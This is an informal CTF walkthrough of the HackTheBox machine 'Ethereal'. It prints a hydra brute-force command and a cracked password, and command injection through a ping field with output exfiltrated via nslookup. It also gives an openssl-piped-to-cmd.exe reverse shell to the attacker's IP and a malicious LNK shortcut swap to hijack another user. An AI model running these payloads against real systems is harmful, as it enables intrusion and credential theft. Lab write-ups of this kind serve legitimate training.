pp

so to check FDISK,DISK1,DISK2, contents we can run:
mkdir ./mnt && mkdir ./mnt/FDISK && mount -o loop FDISK ./mnt/FDISK
mkdir ./mnt && mkdir ./mnt/DISK1 && mount -o loop DISK1 ./mnt/DISK1
mkdir ./mnt && mkdir ./mnt/DISK2 && mount -o loop DISK2 ./mnt/DISK2

so in FDISK we manage to found pbox.exe and pbox.dat
after researching i found pbox.exe its somewhat linked to an old emulator for games and dos programs named "DOSBOX""
and we can install in our kali wiht apt-get install dosbox
Now in dosbox we can mount our files like this:
mount c /path/to/box/files
running pbox.exe ask for cwsdpmi.zip its some sort or a depency so we download from here:
https://www.dosgames/com/files/cwsdpmi.zip
and extract and place on /mnt/FDISK/pbox/
now we can mount our path and run pbox.exe which ask for a password so we use the most common password:  "password""
and we are in.

4)now some sort of database program show up everytime we select one item it shows us a user and a password so we can make a list out of and crack it trought hydra

hydra -L user.txt -P password.txt http-get://ethereal.htb:8080

and was able to get basic auth:

user:       alan
password:   !C414m17y57r1k3s4g41n!

we test it in our 8080 port site and we are in with an admin console and a test box that shows test connection.
so immediately go and test my ip showing and see that connection its successful.

Then tried appeding commands after ping command using &&, ||, |

Was able to run commands at first with
 || for /f "tokens" %i in ('whoami') do nslookup %i 10.10.15.110
without my ip addres which shows me the name 'etherealalan' on wireshark results.

If played with the token number was able to see whichever word of a response i selected as the token number.
e.g. if the response to whoami was "ethereal\alan" the backslash character does not travel through the results we can view, so the token =1, would give me the world etherealalan, whereas if i did the command "echo test 123", token =1 would show test and token=2 would show 123.

At this point it was safe to say we were dealing with blind read-only RCE.
Enumerating this way was an absolute pain and i had to check my other options.

Since i knew i couldnt execute anything, i wanted to know why.

I checked the firewall rules, using:
netsh advfirewall firewall show rule name=all

this showed port 73 and 136 are open and openssl.exe installed.

so we can do this:
-first we create our key.pem and cert.pem with this command:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

-then we setup our first terminal and launch this command to listen on port 73:

openssl s_server -quiet -key key.pem -cert cert.pem -port 73

-now on a second terminal we run this command to listen for connections port 136:

openssl s_server -quiet -key key.pem -cert cert.pem -port 136

and finally from admin console we launch this command:

10.10.15.110 | C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.15.110:73 | cmd.exe | C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.15.110:136


Now i was trying to run commands as it its on the shell i got but nothings seems to work after for mistake i typed a dir comand and hit send to see if it works then trying to open another shell with webadmin console i didnt stop my preovious shell an run the command again a magic the command worked!

So to run commands we must execute the command on port 73 terminal then send admin console web command and it gets executed!
Now we have to find a way to upload files researching we came to an easy solution

on my kali:

openssl s_server -quiet -key key.pem -cert cert.pem -port 73 < uploadme.txt

on webapp:

10.10.15.110 | C:\Progra~2\OpenSLL-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.15.110:73 > c:\users\public\desktop\shortcuts\saveme.txt

while enumerating we found a file located in c:\users\public\desktop\note-draft.txt which said:
"I've created a shortcut for VS on the Public Desktop to ensure we use the same version. Please delete any existing shortcuts and use this one instead.
-Alan
this command its useful to run a command and if want an answer automatick respond
echo yes | command to run


Now we have to replace the lnk file located on C:\users\public\desktop\shortcut\"Visual Studio 2017.lnk""

sow we can generate one with this program

LNKUp(on github)

python generate.py --host localhost --type ntlm --output pay.lnk --execute "C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.15.110:73 | cmd.exe | C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.15.110:136"

then we can encoded in base 64 doing

openssl base64 -A -e -in pay.lnk -out pay

then copy the string encoded and go to windows machine and run this command:

echo | set /p="base64 encoded string" > c:/users/public/desktop/shortcuts/pipo.txt

next step its to decode the file which one we put encoded string and at the same time replace the visual studio.lnk
so we navigate to the dir containing the .lnk file and do this :

cd c:\users\public\desktop\shortcuts
c:\progra~2\openssl-v1.1.0\bin\openssl base64 -A -d -in pipo.txt -out "Visual Studio 2017.lnk"
type c:\users\public\desktop\shortcuts\"Visual Studio 2017.lnk"# to check if the lnk got replaced
then if it got replaced you have to kill the 2 shell connections and start it again to wait for jorges connection:
***note***
We have to be precise with timing cuz it seems the lnk file gets replaced by the original every few minutes so maybe it will not work at first time cuz timing.

Once we have the connection we can now read the user flag.
type c:\users\jorge\desktop\user.txt